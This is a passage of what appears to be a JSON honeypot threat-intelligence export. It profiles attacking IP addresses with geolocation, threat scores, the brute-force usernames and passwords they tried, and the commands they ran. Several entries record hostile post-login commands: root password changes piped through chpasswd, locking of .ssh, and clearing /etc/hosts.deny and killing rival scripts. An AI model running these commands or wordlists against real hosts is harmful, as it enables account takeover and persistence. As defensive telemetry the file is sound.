        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7836245,
        "days_active_30d": 27,
        "ports_targeted_30d": 68109,
        "honeypots_triggered_30d": 20,
        "first_seen_30d": "2026-03-02T00:00:00+00:00",
        "last_seen_30d": "2026-03-28T15:51:07.755000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5258963,
        "Honeytrap": 2563917,
        "Miniprint": 2239,
        "Cowrie": 2178,
        "Mailoney": 1946,
        "Dionaea": 1631,
        "ConPot": 1628,
        "Redishoneypot": 1073,
        "Adbhoney": 715,
        "Dicompot": 558,
        "Honeyaml": 296,
        "H0neytr4p": 256,
        "Tanner": 226,
        "Ipphoney": 223,
        "ElasticPot": 222,
        "Ciscoasa": 38,
        "Medpot": 32,
        "CitrixHoneypot": 27,
        "Sentrypeer": 9
      }
    },
    "177.126.132.44": {
      "attack_count": 930,
      "first_seen": "2026-03-12T09:05:18.319Z",
      "last_seen": "2026-03-12T10:45:57.345Z",
      "sessions": 185,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "gitlab",
        "postgres",
        "user",
        "app",
        "dolphinscheduler",
        "elastic",
        "esuser",
        "flask",
        "ftp",
        "ftpuser",
        "guest",
        "hadoop",
        "lighthouse",
        "mysql",
        "tom",
        "apache"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "password",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "!Q2w3e4r",
        "!QAZ@WSX",
        "!QAZ@wsx",
        "!qaz@WSX",
        "1",
        "123321",
        "12345",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Artur Nogueira",
      "asn": 262343,
      "as_org": "Net Aki Internet Ltda",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:05:18.319000+00:00",
        "last_seen_30d": "2026-03-12T10:47:58.714000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 930,
        "Suricata": 418
      }
    },
    "72.144.12.31": {
      "attack_count": 699,
      "first_seen": "2026-03-06T00:37:10.430Z",
      "last_seen": "2026-03-27T17:47:52.027Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abhishek",
        "kube",
        "mikrotik",
        "software",
        "zsolt",
        "admin",
        "certftp",
        "claude",
        "desktop",
        "dockeradmin",
        "firewall",
        "hath",
        "installer",
        "issabel",
        "ivan",
        "jirka",
        "jun",
        "lq"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123",
        "123456",
        "1password",
        "1qaz2wsxxsw2",
        "1qazxsw2",
        "22446688",
        "Aa321321",
        "Abc123456!@#",
        "Certftp123",
        "HJ123456@",
        "Jirka123",
        "One123",
        "Pablo123",
        "Qh@123456",
        "Rstudio123!",
        "Step123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "uname",
        "uname -a",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\njhJawGXnJm4n\\njhJawGXnJm4n\\n\"|passwd",
        "echo \"123456\\nuoOlNiQpiohc\\nuoOlNiQpiohc\\n\"|passwd",
        "echo \"123\\nUvPdKzbb31Xw\\nUvPdKzbb31Xw\\n\"|passwd",
        "echo \"kube123!\\nFXJsatChZul0\\nFXJsatChZul0\\n\"|passwd",
        "echo \"mikrotik1234\\nsUEASgre0lpN\\nsUEASgre0lpN\\n\"|passwd",
        "echo \"root:hV1G3JmrxQnT\"|chpasswd|bash",
        "echo \"root:pLlA24cMs9Z1\"|chpasswd|bash",
        "echo -e \"123456\\njhJawGXnJm4n\\njhJawGXnJm4n\"|passwd|bash",
        "echo -e \"123456\\nuoOlNiQpiohc\\nuoOlNiQpiohc\"|passwd|bash",
        "echo -e \"123\\nUvPdKzbb31Xw\\nUvPdKzbb31Xw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 849,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:37:10.430000+00:00",
        "last_seen_30d": "2026-03-27T17:48:59.067000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 699,
        "Suricata": 150
      }
    },
    "68.233.116.124": {
      "attack_count": 683,
      "first_seen": "2026-03-08T12:18:30.222Z",
      "last_seen": "2026-03-23T23:06:25.639Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "geo",
        "omar",
        "pengbo",
        "proxyuser",
        "prueba",
        "test01",
        "ubuntu",
        "aa",
        "auditor",
        "automation",
        "b",
        "bogdan",
        "celery",
        "central",
        "cliente",
        "cvs",
        "github-runner",
        "informix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "1234",
        "!QAZ2wsx",
        "010203",
        "12345",
        "Aa1234567",
        "Admin@123#",
        "Auditor123",
        "Automation123!",
        "B123!",
        "Informix123!",
        "Ociispth123!",
        "Password1!",
        "User@2025",
        "Vm123!",
        "celerypass",
        "central123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nqNaHWHJSqgHa\\nqNaHWHJSqgHa\\n\"|passwd",
        "echo \"Password1!\\nIMg5kQnVX70y\\nIMg5kQnVX70y\\n\"|passwd",
        "echo \"geo123!\\nqEo8OItTzko3\\nqEo8OItTzko3\\n\"|passwd",
        "echo \"omar\\niIVfdc0SIgC5\\niIVfdc0SIgC5\\n\"|passwd",
        "echo \"pengbo\\nw2CuHz7qgzDd\\nw2CuHz7qgzDd\\n\"|passwd",
        "echo \"prueba\\nbkkFeDn0czCf\\nbkkFeDn0czCf\\n\"|passwd",
        "echo \"test01pass\\ngo2mwA6y7QlT\\ngo2mwA6y7QlT\\n\"|passwd",
        "echo -e \"12345678\\nqNaHWHJSqgHa\\nqNaHWHJSqgHa\"|passwd|bash",
        "echo -e \"Password1!\\nIMg5kQnVX70y\\nIMg5kQnVX70y\"|passwd|bash",
        "echo -e \"geo123!\\nqEo8OItTzko3\\nqEo8OItTzko3\"|passwd|bash",
        "echo -e \"omar\\niIVfdc0SIgC5\\niIVfdc0SIgC5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 807,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:18:30.222000+00:00",
        "last_seen_30d": "2026-03-23T23:07:30.242000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 683,
        "Suricata": 124
      }
    },
    "59.26.132.170": {
      "attack_count": 598,
      "first_seen": "2026-03-03T23:15:09.748Z",
      "last_seen": "2026-03-28T21:45:27.304Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "boss",
        "adimtest",
        "anon",
        "billroot",
        "brokeruser",
        "hz",
        "id",
        "intern",
        "kettle",
        "onepark",
        "osmc",
        "responder",
        "social",
        "teacher",
        "unidata"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@qwaszx12",
        "12!@qwQW",
        "1234567890qw",
        "123456789a",
        "123@Test",
        "123QWERT",
        "1Q2W3E4R5T6Y7U8I9O0P",
        "5252",
        "895623",
        "Aa@123456..",
        "Admin-123",
        "Admin123...",
        "Asd@2025",
        "Bingo@1993",
        "Huawei123#",
        "Ll123456789",
        "P@$$w0rd123*",
        "Password12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"boss\\nrD2ooNbzcI70\\nrD2ooNbzcI70\\n\"|passwd",
        "echo \"root:NimhILO67AQG\"|chpasswd|bash",
        "echo \"root:o4Z6uItbn5Y6\"|chpasswd|bash",
        "echo \"root:rbIwUHSyQ2E9\"|chpasswd|bash",
        "echo -e \"boss\\nrD2ooNbzcI70\\nrD2ooNbzcI70\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yuseong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 56.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 788,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:15:09.748000+00:00",
        "last_seen_30d": "2026-03-28T21:46:28.241000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 598,
        "Suricata": 190
      }
    },
    "152.32.206.160": {
      "attack_count": 576,
      "first_seen": "2026-03-03T01:58:21.972Z",
      "last_seen": "2026-03-14T11:44:15.210Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cardano",
        "contab",
        "puppet",
        "admin1",
        "alumno",
        "apexuser",
        "botuser",
        "claude",
        "dell",
        "downloader",
        "excel",
        "grid",
        "issabel",
        "laurent",
        "lima",
        "linuxbrew",
        "piuser",
        "servers"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "1233218613f",
        "123456",
        "123",
        "1234",
        "12345",
        "@Aa123456",
        "Gd@ta2014",
        "Piuser123",
        "Qq123321",
        "Qwe@123456",
        "abc123...",
        "admin123456",
        "alumno",
        "apexuser",
        "cardano",
        "claude123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nvxsO4O5o6DWa\\nvxsO4O5o6DWa\\n\"|passwd",
        "echo \"cardano\\nzVhrScLcbOxv\\nzVhrScLcbOxv\\n\"|passwd",
        "echo \"password\\nHE96iehV8hlW\\nHE96iehV8hlW\\n\"|passwd",
        "echo \"root:HAmqS36WVFro\"|chpasswd|bash",
        "echo \"root:gAHoVFhhLu0A\"|chpasswd|bash",
        "echo \"root:q3N1Cky01uZW\"|chpasswd|bash",
        "echo -e \"123456\\nvxsO4O5o6DWa\\nvxsO4O5o6DWa\"|passwd|bash",
        "echo -e \"cardano\\nzVhrScLcbOxv\\nzVhrScLcbOxv\"|passwd|bash",
        "echo -e \"password\\nHE96iehV8hlW\\nHE96iehV8hlW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 679,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:58:21.972000+00:00",
        "last_seen_30d": "2026-03-14T11:45:22.321000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 576,
        "Suricata": 103
      }
    },
    "196.0.120.6": {
      "attack_count": 509,
      "first_seen": "2026-03-11T05:27:27.572Z",
      "last_seen": "2026-03-17T00:39:27.947Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bitwarden",
        "ftpuser1",
        "netflow",
        "odoo",
        "ravi",
        "sinusbot",
        "apagar",
        "aroot",
        "asus",
        "ben",
        "clawd",
        "deploy",
        "ghostadmin",
        "icecast",
        "kirill",
        "matin",
        "max",
        "root",
        "t128"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "1234",
        "20252025",
        "Matin123",
        "admin@1234",
        "bitwarden",
        "clawd@123",
        "ftpuser1123",
        "icecastpass",
        "kirill1234",
        "netflow2025",
        "ravi",
        "t128"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nH3OdeSY5A8F0\\nH3OdeSY5A8F0\\n\"|passwd",
        "echo \"123\\ngrMruaP9Mi1e\\ngrMruaP9Mi1e\\n\"|passwd",
        "echo \"bitwarden\\n8k4VlcqTJeaR\\n8k4VlcqTJeaR\\n\"|passwd",
        "echo \"ftpuser1123\\nkIN0L1KZ8WPP\\nkIN0L1KZ8WPP\\n\"|passwd",
        "echo \"netflow2025\\nBw9QJA48tUIE\\nBw9QJA48tUIE\\n\"|passwd",
        "echo \"ravi\\nTd7GpiPjiRrO\\nTd7GpiPjiRrO\\n\"|passwd",
        "echo -e \"12345678\\nH3OdeSY5A8F0\\nH3OdeSY5A8F0\"|passwd|bash",
        "echo -e \"123\\ngrMruaP9Mi1e\\ngrMruaP9Mi1e\"|passwd|bash",
        "echo -e \"bitwarden\\n8k4VlcqTJeaR\\n8k4VlcqTJeaR\"|passwd|bash",
        "echo -e \"ftpuser1123\\nkIN0L1KZ8WPP\\nkIN0L1KZ8WPP\"|passwd|bash",
        "echo -e \"netflow2025\\nBw9QJA48tUIE\\nBw9QJA48tUIE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 21491,
      "as_org": "UGANDA-TELECOM Uganda Telecom",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 580,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:27:27.572000+00:00",
        "last_seen_30d": "2026-03-17T00:40:33.504000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 509,
        "Suricata": 71
      }
    },
    "103.186.0.182": {
      "attack_count": 482,
      "first_seen": "2026-03-21T22:41:01.188Z",
      "last_seen": "2026-03-28T14:58:30.440Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chat",
        "testuser",
        "arma3server",
        "dmdba",
        "friend",
        "ftpuser1",
        "manish",
        "paula",
        "rose",
        "shyam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!P@ssw0rd!",
        "!QWERTY123",
        "123",
        "12345",
        "123qwe,./",
        "2025.",
        "8756",
        "AAaa1234",
        "Admin001",
        "Admin1234567@",
        "Friend123!",
        "P@ssword1",
        "arma3server123!",
        "chatpass",
        "dmdbapass",
        "ft123456",
        "money7",
        "nishizhu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"chatpass\\n6DBj9z1BIsly\\n6DBj9z1BIsly\\n\"|passwd",
        "echo \"password123\\np0S8ks4zQ3TG\\np0S8ks4zQ3TG\\n\"|passwd",
        "echo \"root:NSIG1BCs8uXA\"|chpasswd|bash",
        "echo \"root:gTB7PvC4hDjd\"|chpasswd|bash",
        "echo \"root:tGE1JRd3ay87\"|chpasswd|bash",
        "echo -e \"chatpass\\n6DBj9z1BIsly\\n6DBj9z1BIsly\"|passwd|bash",
        "echo -e \"password123\\np0S8ks4zQ3TG\\np0S8ks4zQ3TG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 582,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:41:01.188000+00:00",
        "last_seen_30d": "2026-03-28T14:59:35.840000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 482,
        "Suricata": 100
      }
    },
    "171.231.194.19": {
      "attack_count": 437,
      "first_seen": "2026-03-31T06:29:21.746Z",
      "last_seen": "2026-03-31T06:57:50.003Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "developer",
        "ftp",
        "monitor",
        "support",
        "*****",
        "123456",
        "ace",
        "anton",
        "backup",
        "belkinstyle",
        "brenda",
        "btf",
        "cf1c22",
        "demo",
        "dubai",
        "ftpuser",
        "george",
        "geral"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
        "abc123",
        "*****",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "12345",
        "12345678",
        "1234567890%*()",
        "321start",
        "72ca06",
        "91482d",
        "P@ssw0rd",
        "ace",
        "admin",
        "admin1",
        "admin123",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 621,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:29:21.746000+00:00",
        "last_seen_30d": "2026-03-31T06:58:52.941000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 184
      }
    },
    "116.110.154.157": {
      "attack_count": 429,
      "first_seen": "2026-03-05T13:54:07.899Z",
      "last_seen": "2026-03-05T14:30:56.646Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 606,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T13:54:07.899000+00:00",
        "last_seen_30d": "2026-03-05T14:32:05.408000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 177
      }
    },
    "116.99.172.74": {
      "attack_count": 424,
      "first_seen": "2026-03-08T04:20:37.151Z",
      "last_seen": "2026-03-08T04:56:54.426Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 600,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:20:37.151000+00:00",
        "last_seen_30d": "2026-03-08T04:58:00.314000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 176
      }
    },
    "185.158.23.150": {
      "attack_count": 400,
      "first_seen": "2026-03-14T01:35:16.685Z",
      "last_seen": "2026-03-24T01:50:37.506Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kocom",
        "netweb",
        "proxyuser",
        "aditya",
        "anton",
        "asus",
        "chris",
        "elizabeth",
        "jerry",
        "kiran",
        "kyle",
        "lfs",
        "maxime",
        "oracle",
        "praveen",
        "retag",
        "sdbadmin",
        "simone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
